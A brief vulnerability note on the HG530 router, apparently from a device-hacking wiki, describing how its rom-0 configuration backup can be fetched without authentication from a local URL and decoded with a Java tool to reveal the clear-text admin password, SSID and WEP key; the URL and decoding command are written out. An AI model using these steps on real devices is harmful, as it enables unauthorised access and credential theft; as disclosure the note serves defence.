Vulnerabilities

rom-0

As many other ZyNOS based devices, the HG530 allows downloading the configuration backup file rom-0 without any authentication.

http://192.168.1.1/rom-0

The rom-0 file is LZS compressed (see reverse engineering the zyxel configuration backup file and static analysis).

The java based rom-0 decoder from github reveals clear text login password, SSID and WEP key.

$ java -jar rom0.jar rom-0
